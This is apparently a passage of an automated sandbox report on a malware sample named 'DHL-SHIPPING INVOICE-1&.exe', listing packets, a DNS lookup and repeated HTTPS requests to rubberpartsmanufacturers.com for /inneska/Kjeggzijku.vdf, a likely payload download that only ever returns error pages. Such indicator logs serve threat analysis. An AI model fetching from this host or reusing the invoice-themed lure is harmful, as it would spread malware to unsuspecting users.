Oct 17, 2024 10:49:25.528776884 CEST	443	57107	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:25.911526918 CEST	443	57107	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:25.911562920 CEST	443	57107	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:25.911643028 CEST	443	57107	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:25.911648035 CEST	57107	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:25.911684990 CEST	57107	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:25.912532091 CEST	57107	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:25.913961887 CEST	57108	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:25.913996935 CEST	443	57108	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:25.914176941 CEST	57108	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:25.914385080 CEST	57108	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:25.914396048 CEST	443	57108	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:27.013052940 CEST	443	57108	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:27.019646883 CEST	57108	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:27.019660950 CEST	443	57108	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:27.381704092 CEST	443	57108	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:27.381731033 CEST	443	57108	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:27.381794930 CEST	443	57108	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:27.381824970 CEST	57108	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:27.382090092 CEST	57108	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:27.383598089 CEST	57109	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:27.383641005 CEST	443	57109	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:27.383673906 CEST	57108	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:27.384763002 CEST	57109	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:27.387494087 CEST	57109	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:27.387502909 CEST	443	57109	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:28.477700949 CEST	443	57109	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:28.480487108 CEST	57109	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:28.480518103 CEST	443	57109	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:28.855735064 CEST	443	57109	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:28.855770111 CEST	443	57109	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:28.855844975 CEST	443	57109	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:28.855874062 CEST	57109	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:28.855957985 CEST	57109	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:28.856661081 CEST	57109	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:28.857795000 CEST	57110	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:28.857824087 CEST	443	57110	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:28.857914925 CEST	57110	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:28.858283997 CEST	57110	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:28.858294964 CEST	443	57110	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:29.974673986 CEST	443	57110	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:30.027173042 CEST	57110	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:30.450287104 CEST	57110	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:30.450340033 CEST	443	57110	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:30.830863953 CEST	443	57110	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:30.830900908 CEST	443	57110	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:30.830908060 CEST	443	57110	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:30.830933094 CEST	443	57110	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:30.830981016 CEST	443	57110	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:30.830977917 CEST	57110	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:30.831015110 CEST	57110	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:30.831029892 CEST	57110	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:30.831687927 CEST	57110	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:30.833328962 CEST	57111	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:30.833369970 CEST	443	57111	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:30.833422899 CEST	57111	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:30.833775043 CEST	57111	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:30.833787918 CEST	443	57111	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:31.945524931 CEST	443	57111	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:31.948509932 CEST	57111	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:31.948539019 CEST	443	57111	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:32.320148945 CEST	443	57111	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:32.320208073 CEST	443	57111	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:32.320364952 CEST	443	57111	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:32.320451975 CEST	57111	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:32.320636034 CEST	57111	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:32.327553034 CEST	57111	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:32.331495047 CEST	57112	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:32.331554890 CEST	443	57112	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:32.334661961 CEST	57112	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:32.338479042 CEST	57112	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:32.338507891 CEST	443	57112	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:33.445621014 CEST	443	57112	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:33.489155054 CEST	57112	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:33.993072033 CEST	57112	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:34.042135954 CEST	57113	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:34.042197943 CEST	443	57113	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:34.042396069 CEST	57113	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:34.042741060 CEST	57113	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:34.042753935 CEST	443	57113	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:35.140738964 CEST	443	57113	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:35.140836954 CEST	57113	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:35.143043041 CEST	57113	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:35.143054962 CEST	443	57113	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:35.143456936 CEST	443	57113	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:35.144932032 CEST	57113	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:35.187429905 CEST	443	57113	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:35.506419897 CEST	443	57113	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:35.506455898 CEST	443	57113	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:35.506534100 CEST	57113	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:35.506562948 CEST	443	57113	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:35.506597042 CEST	443	57113	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:35.506654024 CEST	57113	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:35.507426977 CEST	57113	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:35.508033037 CEST	57114	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:35.508059978 CEST	443	57114	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:35.508131981 CEST	57114	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:35.508429050 CEST	57114	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:35.508435011 CEST	443	57114	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:36.630079985 CEST	443	57114	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:36.635421038 CEST	57114	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:36.635441065 CEST	443	57114	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:37.003465891 CEST	443	57114	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:37.003496885 CEST	443	57114	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:37.003572941 CEST	443	57114	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:37.003751040 CEST	57114	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:37.005000114 CEST	57114	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:37.005654097 CEST	57115	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:37.005705118 CEST	443	57115	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:37.005821943 CEST	57115	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:37.006150007 CEST	57115	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:49:37.006172895 CEST	443	57115	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:38.126383066 CEST	443	57115	103.191.208.122	192.168.2.4
Oct 17, 2024 10:49:38.176655054 CEST	57115	443	192.168.2.4	103.191.208.122

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 17, 2024 10:45:26.957209110 CEST	51636	53	192.168.2.4	1.1.1.1
Oct 17, 2024 10:45:27.479059935 CEST	53	51636	1.1.1.1	192.168.2.4
Oct 17, 2024 10:46:12.623369932 CEST	53	58187	162.159.36.2	192.168.2.4
Oct 17, 2024 10:46:13.271011114 CEST	53	50869	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 17, 2024 10:45:26.957209110 CEST	192.168.2.4	1.1.1.1	0x2496	Standard query (0)	rubberpartsmanufacturers.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 17, 2024 10:45:27.479059935 CEST	1.1.1.1	192.168.2.4	0x2496	No error (0)	rubberpartsmanufacturers.com		103.191.208.122	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rubberpartsmanufacturers.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:28 UTC	100	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com Connection: Keep-Alive
2024-10-17 08:45:29 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:29 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:29 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:30 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:30 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:30 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:30 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:31 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:32 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:32 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:32 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:33 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:33 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:33 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:33 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:34 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:35 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:34 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:35 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:36 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:36 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:36 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:36 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:38 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:38 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:38 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:38 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:39 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:39 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:39 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:39 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49738	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:40 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:41 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:41 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:45:41 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49739	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:45:42 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:45:42 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:45:42 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
